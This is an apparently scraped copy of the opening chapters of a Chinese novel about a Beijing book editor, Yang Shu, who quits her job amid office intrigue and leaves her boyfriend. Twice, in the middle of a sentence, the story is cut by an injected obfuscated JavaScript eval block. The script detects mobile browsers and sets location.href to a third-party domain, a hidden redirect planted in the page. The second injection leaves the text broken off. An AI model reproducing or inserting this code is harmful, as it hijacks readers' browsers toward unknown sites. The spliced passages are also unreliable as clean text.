《北京往事》 1. 第1章 27岁那年,杨树过得很不顺。 起先是一个星期天的中午,男朋友陈樟请她出去吃饭,饭后送她一套化妆品,趁机找她商量卖房创业。 陈樟和他几个同学合开小公司,研发的网页游戏进展到关键阶段,投资人却不肯再投钱,他们找了很多人,都表示看好项目,但拟出的合同一个比一个严苛,恨不得投入5万块,事成分走你8成利润。 陈樟借过几次钱,卖房是背水一战,杨树把化妆品放在一边,让他拿去退了。她有脂溢性皮炎,化妆很容易过敏复发,恋爱三年多,陈樟不是不知道,却几次拿李伊梦教育她:“你俩本来是平级,为什么是她升职,就因为她有女人味,你吃亏在不打扮。” 杨树为此跟陈樟吵过架,但卖房一事不便吵,房子是陈家举全家之力买的,她没掏一分钱。 两人去年见过双方父母,谈定今年7月底领证结婚,杨树问:“你爸妈知道你要卖房吗?” 陈樟不做声,杨树知道他为那款网游耗费了多少心血,可她是真的很担心他孤注一掷,最后仍一败涂地。 陈樟说项目前景很好,他绝不能半途而废。最重要的是,他爸患有糖尿病,已经出现并发症,他想趁现在多赚点钱。 陈父的情况,杨树都知道,她看着陈樟,他已连续熬了很多个夜,眼里布满血丝,她的心一疼,让他再想想,起身去逛楼上的书店,了解近来行业风向。 杨树在图书出版公司当编辑,最近在谈一部外版长篇小说,小说讲述两个出生于贫民窟的女孩长达半生的友谊和战争,她废寝忘食看完原版,给编室成员讲了大致内容,大家都认为值得引进。 书店角落有个空位,杨树落座,打开平板电脑完善PPT。她已和作家的代理方谈过几轮,明天上午,她会向公司分管市场的副总作出最终阐述,只要副总拍板,就能顺利拿下版权,相比起内容质量,对方的报价堪称亲民。 忙到傍晚,陈樟发来信息:“回家吃饭吧。”杨树到家,餐桌上两菜一汤,陈樟做了她喜欢的葱爆虾。 吃完饭,陈樟洗着碗,小心翼翼地说:“我们最迟明年年头就能开发完成,上半年就有收益,到时房子回来了,还有赚头。我爸以后情况不好说,我得为他多准备点钱。小树苗,我们爸妈身体都不比以前了,我们得抓紧时间,给他们多弄点养老钱。” 房子位于东五环外,两室一厅的老破小,陈樟家里买它花了170万,两年里涨了几十万,杨树叹气:“要是事情不如你以为的顺利,你爸病情恶化了,你拿什么给他看病?” 医生给陈父开了药物,约定一年随访,陈樟认为这一年里他不用太担心,如果杨树不介意在出租屋里结婚,婚期照旧,介意的话,最多再等他一年。 杨树知道陈樟已下定决心,她还是那句话:“你自己想好。” 星期一早晨,杨树出门上班,准时在二号大会议室,向副总张瑞江阐述她想拿下的那部外版书。 这是2015年春天,互联网资本大举进军影视传媒业。青芽图书公司从一家网站挖来张瑞江担任副总,公司大老板要求全体员工在张瑞江这位前产品经理的指导下,运用互联网思维进行艺术创作综合开发,简言之,大步迈入IP市场,买进卖出。 2014年以前,IP通常指InteProtocol,即网际互连协议,2014年开始,IP作为IntellectualProperty被人们熟知,直译为知识产权。 IP的形式多种多样,既可以是文学和艺术作品,也可以是一个概念、一个形象甚至一句话。张瑞江一入职就制定了各种表格,周报月报季报半年自评年度自评项目总结绩效目标……一齐向员工扑来。 编辑部五编室主任李伊梦以保护公司利益的名义,设计出一个霸王合同,拿去给张瑞江过目,张瑞江叫好,要求所有作者补签。 一旦签了李伊梦起草的这份新合同,普通作者只能拿到极微薄的稿费,而之外的权利永久地、终生地被青芽图书公司剥夺。工作群里,杨树率先提出质疑,另外几个编室主任都响应了,众人向张瑞江发出联名邮件,建议修改部分条款,否则正在谈的作者都会被同行抢去。 张瑞江专门召开大会,敦敦教导市场地位决定一切,这份合同针对的是普通小作者,至于要花力气维系的名作者和大作家,当然会有另一套合同。 杨树等人怏怏而归,李伊梦得意洋洋:“老干部还得自费出书呢,小作者有人肯给她们出书就不错了。看着吧,他们绝对会妥协。” 李伊梦是五编室主任,杨树是七编室主任,两人是平级同事,办公室相邻。李伊梦向张瑞江投诚后,晋升为女□□业部总监,管着五六七八编室。 张瑞江很看重数据,杨树精心准备了外版小说在欧美的销售情况,以及《纽约时报》、《泰晤士文学增刊》和众世界级作家对它的盛赞,然而她讲了快一个小时,张瑞江轻蔑地挥挥手,一句话就把她打发了:“谁会关心两个外国女人持续半个世纪的友谊?” 杨树沉下脸,张瑞江呵呵笑着:“我肯定不看,我老婆特别爱看小说,我要是丢给她这27万字,她肯定翻都不翻。你们女的都只爱看言情小说。不过言情小说也不能乱出,你们都给我记着,以后我们只出数据好的作品,不好的不要浪费时间浪费纸张。” 杨树口才不差,担任七编室主任两年多,她谈下了若干有分量的作品,但对张瑞江无计可施。她忍耐着不满,留在会议室没走,果不其然,四编室主任寄予厚望的一部历史小说,也被张瑞江否了:“我只听过秦汉唐宋元明清,哦,还有三国。有几个人会对什么魏晋南北朝感兴趣?这种选题不要再让我看到。我就强调一句话,数据,数据,数据。” 李伊梦升职后,找个大通间,把手下五六七八编室集中在一起,自己有个单独办公室。杨树回到格子间,六编室主任章嘉敏问:“怎么样?” 章嘉敏是资深编辑,杨树刚来青芽图书公司,被她手把手带了几个月,两人很要好。杨树模仿着张瑞江的手势,气愤道:“对我就跟对他家苍蝇似的。” 这话迅速被人传给了李伊梦,杨树吃完午饭回公司,有同事让她去趟李伊梦办公室。 大门虚掩,杨树敲门进去,公司大老板和张瑞江都在。李伊梦正在向两人哭诉,年初下达给她的码洋任务十分吃重,她本就压力大,张总竟然还让她手底下的人这么难堪。 李伊梦说着,手一挥:“张总,我的编室主任说,您对她跟对苍蝇似的。” 杨树愣了,李伊梦拿纸巾擦眼泪,对她说:“我觉得张总不会这么对你,是不是有什么误会,你把会议室的情况再说一遍。” 杨树瞠目结舌,李伊梦眨眨眼,悄然示意她也哭,杨树没反应,李伊梦索性趴在桌上,脸埋在臂弯里,哭着说:“唐总,对不起,任务太重,我压力大,我不知道怎么办了,对上可能完不成任务,对下也没法交待。” 李伊梦的哭声传来,大老板和张瑞江各觉尴尬,张瑞江被迫向杨树解释:“我不可能这么对我底下的人,你误会了。” 李伊梦哭得头也抬不起来,声音嗡嗡的:“我就说你误会张总了吧。” 杨树站起来,俯看李伊梦,之前只知她擅长假笑,不料她假哭的水平也挺高,她端起李伊梦电脑边的咖啡,淋了她一头,骂道:“你在利用我。你这个贱人。” 大老板和张瑞江面面相觑,杨树拉开门,扬长而去。这种人,就欠被人大耳光扇过去,咖啡泼上去。 走到大通间,好友章嘉敏投来关注一瞥,杨树回到座位,手机响起,是陈樟。陈樟和八编室主任施严是发 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女朋友被人欺负了,他第一反应是如何善后,杨树说:“跟你分手。” 大多数护肤品都会让杨树过敏,她只用最基础款,每天洗头洗澡,换上清洁的衣物出门。陈樟有时会给她银行卡,让她去买点服饰,但杨树没兴趣,每年只添置必备的服饰,既然陈樟向往李伊梦那样的,何苦还和她在一起? 杨树受够了,爆发了,再说一遍:“我们分手吧。” 陈樟马上说:“小树苗,我错了,晚上回去我再赔罪。” 杨树甩脱他的拉扯,回办公室打印辞职报告,把咖啡泼到李伊梦头上那一刻,她做好了辞职的准备,以她的履历不难找到新工作,张瑞江和李伊梦这类人,她不想伺候了,没意思。 好友章嘉敏在微信上说:“你前脚刚走,唐总和姓张的后脚就出来了,李伊梦没出来。” 被人泼咖啡是丑事,杨树料想李伊梦不会让更多人看见,但向她通风报信的人就在这个大通间里,她环顾四周,大声说:“我骂张瑞江一句,就被人传给李伊梦了,我刚才泼李伊梦咖啡了,传话的有种站出来,看我不抽死你。” 满室噤声,杨树走到打印机边上,拿起辞职报告,径直拧开了李伊梦的门。李伊梦办公室有卫生间,她已收拾过,看不出头发上的痕迹了,正跟市场部的同事讲电话。 杨树冷冷地在沙发上坐下,打量着李伊梦。不知道从什么时候开始,有一种对人的形容叫气场强大,可惜很多人走偏了,练成一身倨傲无礼的架势,李伊梦便是这样,而且每天上班还会对众人的衣着进行评点,她是北京本地人,每每以一声哟开场:“哟,看这大白腿。” “哟,这眼影涂深了,跟熊猫似的。” 李伊梦草草讲完电话,狠狠瞪杨树,问:“有事吗?” 她等着杨树道歉,但杨树把辞职报告放在她桌上:“签字吧。” 李伊梦二话不说签了,按照流程,由她递交给上级签字,再交给人事部门,杨树自己拿走了:“我去找唐总签字,这几天做交接。” 拉开大门时,杨树听到李伊梦冷淡的声音:“你以为找唐总告状,就能扳回来?” 杨树没理她,大老板于她有知遇之恩,临走跟他说一声,是礼节。部门有几部图书正在走出版流程,杨树一一对下属做出了交待,并未直言辞职,但下属们心里多少有数,在群里都答复得很积极。 八编室主任施严发来微信,跟他的发小陈樟似的,看似关心,但总有些数落意味:“你真泼她咖啡了?也别当着全部门说出来啊,这叫社交自杀啊。” 杨树不以为然。发句牢骚,转眼就成了李伊梦捅她之刀,她如果忍了,也不是她了。踩着你往上爬的流氓,你就得比她还流氓。 2. 第 2 章 半小时后,杨树携辞职报告敲开大老板的门,大老板不签字,还承诺给她加薪,若不想再在李伊梦手下干,他给杨树换个部门。 杨树做过一系列畅销书,或者说是长销书,其中有部长篇小说《悬案》,出版两年后还拿过几个类型文学的奖项。该作者应杨树之请写的新书《二十年之奇案》去年底出版,至今仍在销售榜前十名,但她坚决辞职,大老板没办法:“要么这样,你当个独立策划人吧。” 公司目前只有两名独立策划人,他俩各自打造青芽旗下的子品牌。以前这两人只向大老板汇报,由大老板定夺,但公司已有进军影视业的打算,大老板的工作重心转移,图书方面事宜都交给张瑞江处理,两名独立策划人也都需要过张瑞江那关了。 成为独立策划人,本是杨树的目标,但如今同样要听命于张瑞江。她有一瞬间走神,荒谬地想起中学时看过的武侠小说:“我萧峰大好男儿,竟然与你齐名。” 留下来,往后的日子只会很憋屈,也没有晋升机会。杨树谢绝大老板:“唐总,我想好了。” 话已说到这份上,大老板看看辞职报告:“先放在我这里吧。” 杨树道了谢,大老板把张瑞江这种外行请来公司,还给予尚方宝剑,她对大老板有点失望。 李伊梦和杨树是同年生人,大学时就担任大老板的助理,时常以青芽图书公司的元老自居。杨树回到大通间,所有同事都不在,李伊梦在大会议室召开会议,大老板刚才让助理发出邮件,减轻了女□□业部本年度的码洋任务。 桌上摆着好友章嘉敏送的外卖咖啡,杨树咬着吸管想,大老板未必相信李伊梦压力大才失态哭泣,应该也看得出来她在借机小题大做,但是阮小七和李逵掐架,宋公明哥哥当然会站在李逵那边,亲疏有别而已。 李伊梦在会议上宣布杨树被公司开掉,散会后,施严给杨树发信息:“怎么样了?” 杨树转着办公椅,转向施严,朝他一笑。他说她对李伊梦来硬的是社交自杀,但恰恰相反,大老板要给她升职加薪。 李伊梦的助理过来敲桌:“总监让你去她办公室。” 杨树进去了,离得稍远地站着,防着被李伊梦反击报复。李伊梦冷眼看她:“唐总已经签字了,你把你手上的作者联系方式都交给我。” 杨树说:“出版合同上都有,你去翻存档吧。” 李伊梦拍了一下桌子:“我是说包括你正在谈的。” “我让人汇总给你。”杨树说完就走,李伊梦恼怒地说,“你就是嫉妒我。” 杨树回头看她:“我就是看不上你。” 杨树给下属开会,她会站好最后一班岗,助手当即表态他做不了,杨树跳槽去哪里,他就跟去哪里,另一个下属也说:“我跟你一起走。” 另外三人都默然无语,但杨树不需要别人扛这种义气:“我就这性格,忍不了,连累你们了。以后别太担心,李伊梦需要做事的人。” 出了会议室,独立策划人朱青靠在墙边抽烟,手腕上戴了一只小烟灰缸,像个造型别致的手镯。杨树抬头,朱青说:“我找你。” 上午的评估会上,朱青也在场,她来找杨树要那部外版小说相关资料:“我拿给出版社试试。” 青芽图书公司是民营企业,出书得购买出版社书号,朱青经手制作的图书,都买国内最杰出那几家出版社的书号,跟出版社关系良好,杨树连声道谢。朱青也听说了杨树和李伊梦的过结,破天荒地拍拍她的肩,对她笑了笑,然后走人。 杨树立在原地站了片刻,她初来青芽图书公司,就对朱青印象深刻。那时朱青是三编室主任,穿着中性,帽衫,工装裤,高高瘦瘦,平时独来独往,一张很酷的脸。 当年底,朱青升为独立策划人,做了不少有影响力的书,上个月还被李伊梦请来女□□业部讲过课,还否过杨树策划的一本金融投资背景的小说封面。 外版小说可能有去向了,杨树神清气爽。下班后,她洗菜做饭,陈樟回家了,一如往常,放下包过来从身后抱她,下巴搁在她肩窝上,跟她腻一会儿。 杨树挣开他:“去拿碗筷。” 陈樟略微松口气,饭桌上还讲了几个笑话,杨树挺捧场,无论如何,饭得好好吃。但她等陈樟放下碗筷,直接了当道:“找房子需要时间,给我几天时间,我会搬走。” 从前吵到分手,杨树也没说过搬走,这下是动真格的,陈樟赶紧认错:“我知道你不喜欢李伊梦,我再也不喊女神了,嗐,我都是跟着施严瞎喊,没当过真。” “跟她没关系,我就是不喜欢你总想改造我。”杨树让陈樟去洗碗,她不想再掰扯,越掰扯越难过,但她现在没心思难过,查看租房行情要紧。 陈樟连声道歉,杨树笑了一下,洗完澡出来,去次卧睡觉。房子总共才60平方米,次卧只能放下一张1.2米的床,衣柜嵌在墙壁里。 陈樟洗漱完毕,默默进来,杨树没赶他,他就在她身旁躺下了。两人都不说话,过半晌,陈樟开口了:“我听了你的,房子不卖了,上午去咨询抵押贷款了。这个游戏真能做出来,你别太担心。” 杨树仍不说话,叹声气。陈樟为了耗尽心血的事业,搭上惟一的房产,很冒进,但她未必不能理解他,张瑞江否掉外版小说,她也恨不得自己掏钱买下版权。 陈樟见杨树态度稍霁,侧身抱她,在耳边说:“我是真的想为了我们以后能过得好一点,将来换个大房子,把我爸妈和你爸都接来一起住。” 杨树心酸,她读中学时,妈妈因舌癌去世,爸爸独自把她抚养成人,当年大学毕业来北京,就是想着大城市机会多些,能多赚点钱,让爸爸晚年过得好。 爸爸还有5年退休,杨树想过,未来时间好好奋斗,争取买个小房子付首付,偏远点也行,等爸爸退休就能接过来团聚。 可是冰冻三尺,非一日之寒,走到分手这一步,跟房产没多大关系,杨树闭上眼睛,很多话都响在耳畔。 陈樟说:“你也太不爱打扮了,怕过敏就涂个口红呗。” 陈樟说:“等我以后公司做大了,你就辞职当全职太太吧,我养你。” 陈樟说:“你别不爱听,在一般男人眼里,李伊梦是算得上女神了。” 杨树反复说过,我不爱听,可陈樟还是照说不误。今天她说分手,陈樟也不爱听,她也照说不误,并且心意已决。她从自己腰上拿开陈樟的手:“你卖房也好,抵押也好,都是你的事,我不是因为这个才想分手。” 陈樟坐起来,问她:“你是不是喜欢别人了?” 杨树气笑了:“你回主卧吧,我很困。” 陈樟闷坐片刻,走了。杨树睁开眼睛看天花板,有些鼻酸的感觉。最近这半年,陈樟公司先后两名投资人表示不玩了,他频繁挑剔她,也是这半年的事。 有好几次,陈樟都不无酸意地说起某位投资人,他发家不过是找了一位拆二代结婚,这才少奋斗20年。杨树慢慢想起这一桩桩往事,两人是没有大矛盾,但所有小烦躁汇聚到一起,让她只想逃开。 睡到凌晨短暂醒来,杨树发觉陈樟回来了,贴着她熟睡。她一动,陈樟似有察觉,翻个身,手臂环住她的腰,腿蹭着她的腿,跟之前每个夜晚都一样。杨树心里疼得一缩,可随即那句话又响在耳畔:“你怎么那么拘谨。” 谈恋爱是为了开心,为了共同把日子过好,不是为了添堵。杨树让自己的心硬起来,再度睡去,起床时陈樟已去上班,微信上给她留了言:“我们不能分手,我们要过一辈子。” 杨树没回复,她已交辞职报告,不用再按时去上班,工作交流都能在网上进行,走完辞职流程之前,她不想再看到李伊梦和张瑞江。 李伊梦已经在物色接替杨树的人选,章嘉敏跟杨树私聊,如果杨树不想休息,她会向相熟的几家公司透个风,像杨树这样得力的编辑,很多图书公司都求之不得。 “我不休息。”杨树在这行做了几年,有不少同行关系,意向中的下家都接收了她的简历。她做着手头几本书的收尾工作,然后出门买菜,路过杂货店,顺手买了几只编织袋。 杨树的衣物不多,从羽绒服到凉鞋,两个编织袋就装下了,剩下的都是图书和杂物,她找楼下收废品的老人买了几个纸箱,一本一本都码好装箱。 做这些琐事时,杨树又想起初相见的光景。当时陈樟的发小施严刚进青芽图书公司,是李伊梦的下属,他嘴甜,对李伊梦一口一个女神的喊着。 有次公司签下一部探险寻宝题材小说,李伊梦半是撒娇半是耍赖,找大老板把它要到自己编室。 大老板和公司几个高层都喜欢该小说,为它砸下30万推广费,出版后第二个月,该小说横扫各类排行榜,作者也红了。 有天陈樟来青芽图书公司找施严,他也是那部小说的读者,他有几个同事想要签名版。施严是小说责编,当时正跟美编商量第二本的版式,陈樟坐在旁边看打印稿,听到一些陌生的词汇,问:“什么叫码洋?” 杨树的工位在施严旁边,她顺口道:“你手上这本书定价29块8,印数10000本,这两个数字相乘就是码洋。” 陈樟又问:“那你们说的印张是什么?” 杨树边忙边答疑解惑,那天晚上,陈樟提着几本签名版的图书,请施严吃饭,眼睛却看向杨树:“我还有几个问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079209|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题想问你。” 他问了许多问题,最想问的那个,当晚就被施严单独告知了:“没男朋友。你俩名字也般配。” 等到探险寻宝小说第二本寄去出版社审查,杨树和陈樟定了情,两人总有说不完的话。但恋爱谈到第三年,陈樟越来越忙,每天早出晚归,半夜还在忙,跟杨树的交流只限于最乏味的的那些,诸如这道菜咸了点,明天要出差,最近有点冷,帮我买件外套。 陈樟变得没有倾诉欲,而且像关闭了情感通道,不涉及任何稍微有点意思的话题,杨树不止一次跟他沟通:“再忙,也得有点交流感情的时间。” 陈樟捏她的腰:“怎么没交流了,前天不还有吗?” 杨树打开他的手:“我不是说这个。我觉得我们需要互相谈谈天,有空搞点情调,不仅仅是搭伴过日子。” 陈樟恍然大悟:“噢,那你多下载一点音乐。”还给杨树转账,“去买两套情趣内衣。” 继续陷在一段没意思的关系里,只会被消耗,杨树不想把自己的时间这样用掉,摇摇头,驱赶回忆,把所有书都装箱,堆去阳台。 夜里陈樟洗完澡,过来抱她,附耳说她这次买的洗发水很好闻。其实已经用了半瓶了,杨树没理他,他轻轻抚摸她,被杨树躲了,轻声说:“我们谈谈吧。” 陈樟问谈什么,杨树想了想:“想听你说,随便说什么都行。” 陈樟却说不出什么,半天才说他知道抵押房子让杨树没安全感,才不停跟他闹别扭,可他一无所有来到北京,事业上没有任何助力,只能靠自己,如果不赌一把,大概率会被淘汰。 杨树无言,两人都是工薪家庭出身,她承认,只能拼命工作,才可能过上稍微好一点的日子。陈樟脸贴在她头发边,声音有点哽:“我不想我们的孩子还走我们现在走过的路,那不是我想要的未来。” 杨树被他说难过了,鼻酸得厉害,过片刻,陈樟睡着了,打起了小呼。杨树便也睡了,初相识那个追着她问UV是什么,起鼓是什么的人,去哪里了呢,短短三年,他已判若两人。 杨树睡到快十点才起床,吃完午饭,手机上跳出熟人的信息:“昨天把你简历转给我们总监,她说这两天约你面谈,刚才却找我打听,你是不是吃过作者回扣。” 章嘉敏打来电话,她也帮杨树发过简历,今天一问,对方的态度有变。两人都分析,可能是李伊梦找人散布谣言,或是她本人自己说的:“杨树啊?我手底下编辑。她吃作者回扣,被公司开了。” 杨树想不出还有别人会这么整她,正待出门,她收到之前那个熟人的回馈:“我找总监助理打听过,昨晚李伊梦和他一起吃晚饭。” 杨树拎着旅行箱,回公司清理私人物品,在走廊和李伊梦狭路相逢,李伊梦掉头走开。杨树盯住她的背影,回到工位,在自己的作者群里发公告:“有人造谣说我吃各位的回扣,先找公司把你们的稿费要个高价,到账后让你们给我返点。” 群里一连串:“没有。” 这些话称不上回击,但有这么多回应,杨树多多少少被安慰到了。没两分钟,一个大神级作者在社交网络发布道:“本人从未给过任何编辑好处费。” 《悬案》的作者如今也是大神作者,也表了态,紧接着,一个小作者也跳出来了为杨树发话。杨树坐在电脑面前,眼睛有点湿润。但只有这三人公开发声,更多作者除了一句没有,都遁去了。她理解他们,尤其是跟青芽图书公司签订了买断笔名十年的那些。 李伊梦带着保安走来,敲敲杨树的桌:“按规定,内部资料不能带走,我们得检查你的U盘和邮箱。” 杨树站起,直视着她:“公司什么时候规定的?” 李伊梦抬了抬下巴:“我部门的规定,你要不要看我起草的规章制度?” 杨树当着她的面,打开手机通讯录,查找大老板的电话:“唐总提出让我当独立策划人,我决定试试。” 李伊梦脸色一变,笑出来:“心虚了?算了,量你也带不走什么。” 保安很尴尬,李伊梦高跟鞋笃笃,回到办公室。杨树没打电话,拎包往外走,章嘉敏追出:“她真是欺人太甚!我也不想干了。她和姓张的再这么搞下去,大家都没法干了。” “你找到下家再说。”杨树知道章嘉敏生活不易,她女儿还在上幼儿园,丈夫去年患上抑郁症,至今仍在吃药。 杨树中午拎来旅行箱来搬私人物品,但空着手走了,章嘉敏奇道:“你这是去哪里?” “一会儿还回公司,晚上请你和我部门的人吃饭。”杨树去公司附近超市晃了一圈,买个趁手的工具,再回到园区,沿着小楼找到李伊梦的车。 3. 第 3 章 李伊梦办公室的门关着,杨树没敲门,直通通进去,李伊梦抬头,条件反射地看向桌上的咖啡杯。杨树站在门边,扔出手上的左侧后视镜。 李伊梦认出是自己车上的后视镜,立刻站起来:“你想干嘛?” 杨树说:“你公开向我道歉。” 李伊梦气得要命:“我要报警!” “报啊,我也告你诽谤,侵犯我名誉权。”杨树笑了笑,无凭无据,她告不了李伊梦,但李伊梦车技平平,总把车停在开阔地带,四周没有摄像头,也告不了她,扯平。 其实用钥匙划拉车身,效果也还行,但是明人不做暗事。小人难防,那就不防,直接镇住便是。 李伊梦抓起手机:“我打110告你!” 杨树对她做个请便的手势:“我查过条款了,随便你。不过,你下次再暗算我,可不是这么简单了,我反正辞职了,有的是时间。” 李伊梦的车才买了一年,她追出门,大骂杨树是泼妇,大通间里,众人都看过来。施严用眼神示意,杨树走到他座位边,施严小声说:“我理解你,可她睚眦必报,再闹下去对你没好处。” 杨树哼道:“她睚眦必报,我就该让着她?我还睚眦必报呢。” 施严急了:“我知道你这几天跟陈樟闹分手,心情不好,但你找李伊梦出气,得不偿失。她已经让其他家不招你了,你再跟她犟,她还会再整你,你以后还怎么在这行混?” 杨树听乐了,这男的眼皮子真浅,一家图书公司的总监,还能代表整个出版圈不成?北京这么大,大大小小的图书公司、出版社那么多,区区李伊梦在行业里排不上号。 自己说的话,杨树却不屑一顾,施严也动了气:“怪不得陈樟说你越来越听不进去道理了。好,今天算我多事!” 杨树淡淡道:“我就知道一点,天大地大,管她是谁,只要欺负我,该掀桌子掀桌子,该打就打。” 施严气咻咻地坐下,杨树把私人物品都装进行李箱,慢条斯理离开。丛林社会,她怕事就完了。 刚到餐厅坐定,另一个帮忙投简历的熟人发来信息:“我们总监想和你聊聊,你俩加个微信?” 杨树和对方总监约定第二天上午面谈,随后有几个作者私下找她:“我们写手群里好几个人都在说,如果你去了别家,找她们买小说影视版权,就赶紧拒绝,当心被你吃回扣。” 杨树气恼地把手机啪在桌上,过一会儿,她拿起,独立策划人朱青发了一条动态:“据我所知的杨树,不会克扣作者,我认为这是被人中伤。” 朱青的朋友圈只用来分享图书信息和行业资讯,杨树找她:“哪天一起吃饭?” 朱青回道:“不用。” 当了几年同事,杨树和朱青始终不熟,熟不起来。公司人人都说朱青很孤傲。杨树第一次直接和朱青打交道,还是小编辑,她负责的一本书对制作工艺要求高,并且是四色印刷,她去郊外的印刷厂盯色。 朱青部门有本书也在印刷,杨树发现偏色,给那位责任编辑打完电话,盯着印刷师傅多尝试几遍,把活儿做精细。朱青和责任编辑都赶来了,对杨树道了谢。 除了七编室的成员,章嘉敏及另外几个相熟的同事都来吃杨树的散伙饭,还都准备了礼物。陈樟打来电话,他说今天得加班,让杨树别理会小人,也别因为跟他闹分手情绪过激,得罪人后患无穷。 杨树按了电话,她最讨厌这种畏手畏脚的言论,让她不要得罪李伊梦,她就活该被得罪?李伊梦怎么不怕得罪她? 回家后,陈樟还没回来,杨树趴在床上,在社交网页发出去职公告,丁盼兮联系她了。 丁盼兮是杨树初来北京时的合租室友,在一起住了一年多,到现在仍保持联系,但两人住得远,一年到头见不了几次。 丁盼兮在大企业担任人事主管,她想让杨树去她公司,以杨树的文字功底,当个企宣部主管绰绰有余。薪酬方面,丁盼兮会尽量往高里谈,毕竟是朋友,她不会亏待杨树。 丁盼兮是好意,但杨树更想做本行,人在喜欢的行当才能发挥最大能量,贸然转行对以后职业之路没好处。 丁盼兮是真心为杨树打算:“可你那行是夕阳产业,连我都知道,书越来越卖不动了,书店都在卖咖啡果汁了。地铁上大家都在玩手机,顶多看看电子书。” 小时候,杨树在爸爸的书桌上发现《大唐狄公传》和《福尔摩斯探案集》,当年她连汉字都认不全,囫囵吞枣,仍看得如痴如醉。图书于她,是打开了新世界的大门,她相信文艺作品的魔力,不会随时代变迁而消亡。任何时代人们还是有读书的需求,她想熬下去。 陈樟半夜才回,照例睡在杨树身旁。杨树清晨醒来,准时去跟熟人的总监见面,去的路上接到一家出版社驻京办事处的面试通知,他们看重杨树谈版权书的能力,杨树是英语专业毕业,编辑经验也丰富。 杨树先去图书公司,双方谈得很好,依然是编室主任的位置,杨树表示会好好考虑,道别后去了那家出版社驻京办,薪水不如图书公司,胜在福利好,工作地段佳,站在办公室窗边能看见雍和宫。 杨树仍说考虑考虑,回家继续收拾,一边等待更多面试通知。衣物和藏书都收完了,只剩一些杂物,她打开抽屉,一件件装进密封盒里。 在五斗柜第二层,杨树看到一包小石头,泪意涌上心头。那是恋爱两个多月,她和陈樟去大连旅游,在海边拾到的。 杨树第一次见到大海,拍了很多照片跟爸爸分享,当时她用的是相机,陈樟找路人帮忙拍合照。 如胶似漆的好时光已不在,杨树把小石头都带走。五斗柜下面两层上了锁,用来放重要合同文书等物品,平时很少打开它们,她摸出钥匙,把属于自己的拿走,却在最底下的一层看到了几份借款合同。 杨树一页页翻看,手脚冰凉。陈樟借过几次钱,她都知道,他说是找朋友同学借的,一开始可能是这样,渐渐却借不到钱了,他找上小额贷款公司了。 最近一份借款合同,是陈樟出现在青芽公司那天,跟房屋抵押合同是同一天。杨树看着上面的金额,不难推测出,抵押的钱不够陈樟维系他的网游研发,他再次找了小额贷款,借了30万,担保人填的是施严。 杨树的眼泪落下来,陈樟在借这些钱的时候,也会害怕心慌吧,可她当天没跟他说几句话就提出分手。 晚上,陈樟回家,换了鞋就去次卧看杨树,却发现她已把所有东西都收拾整齐,堆在一角。他眼圈红了,跨过编织袋,去抱杨树,哽咽着说他不同意分手。 杨树任由他抱了许久。陈樟说:“你工作不顺,迁怒我,我理解,你骂我一顿我也接受,但你不能为了外人跟我分手。别再偏激了行吗?” 多说无益,杨树说:“睡吧。” 半夜,杨树听到陈樟说梦话:“我真的会成功啊。” 杨树又难过起来,她对陈樟依然有习惯性的留恋,不得不去想些别的。某天陈樟端详她,聊起他公司某个女同事,她额头不饱满,医生给她填充得很自然,而且是取自体脂肪,没有危险性。 杨树心里很不舒服:“你嫌我不好看就明说。” 陈樟把她一搂:“哪有。还不是你最近老说工作不顺,我听人说,太阳穴饱满运气好。” 黑暗里,杨树再次把心肠硬起来。她没有对不起陈樟,惟独想起爸爸,会有些伤心。爸爸多么希望她在北京过得安安稳稳。 这几天,杨树每次和爸爸聊天,都撒了谎:“我俩工作都很顺利,没省钱,你看,我买了这么多水果。” 第二天上午,长夜影视公司有人找上杨树:“我们部门老大听说你从青芽辞职了,让我问问你,要不要过来当编辑,评估IP。” 杨树策划出版过一部长篇小说《瓷缘》,被公司版权部经理卖给了长夜影视公司,杨树听说他们已正式立项,在剧本创作阶段了。 长夜影视公司是一线卫视的下属公司,创始人是卫视元老,每年会承制卫视交予的一两部剧,另外自主拍摄两三部左右,售卖给各卫视和视频网站。 自从IP概念流行开来,各家公司都大干快上,长夜影视公司的老板也购买了一些小说的影视版权,排行榜上有什么抢什么。到手细看,作品良莠不齐,今年初,长夜影视公司成立了策划文学室,负责挑选购买IP。 策划文学室的主管是长夜影视大老板的远房亲戚,她在中学教语文,去年刚退休。网络小说多为年轻人创作,主管不懂年轻人的喜好,最近一直在招纳新人。 杨树有点犹豫,她的职业理想是成为优秀的出版人,但好友章嘉敏建议她试试:“我们拼了命地做PPT,提炼一本书的卖点和优势,就是为了让它被公司评为重点书,在营销方面能多些推广费用,让好东西被更多人看到。看电视的人比看书的多,只要是好东西,其实不用太在意以怎样的载体呈现出来。” 杨树认同章嘉敏的观点,影视也是一种文学形式,可是文字的魅力和影视的魅力不一样,章嘉敏又说:“我们分工就行了,你挖掘IP拍出来,我负责出版,把书做好做漂亮。” 杨树呆坐片刻,她爸在民政局做扶贫工作,跟文化不沾边,但他爱看书,常常去图书馆借书,碰到特别喜欢的,会去书店买回家收藏。杨树在爸爸的熏陶下,自小就爱看书,大学时她选了英语专业,就在于爸爸说,不光要看国内的,世界性名著的英文版本跟中文版也许有很多不一样的地方。 杨树给爸爸打电话,爸爸让她自己做决定,但提醒道:“你自己说的,影视剧是大众艺术。” 一部能被拍摄的书籍,出版之路会好走得多,也会更广为人知,杨树想清楚了,欣然去长夜影视公司面试。影视是大势,一个人再有抱负,在趋势面前,不堪一击。 策划文学室主管慈眉善目,她喜爱传统文学,杨树受爸爸影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 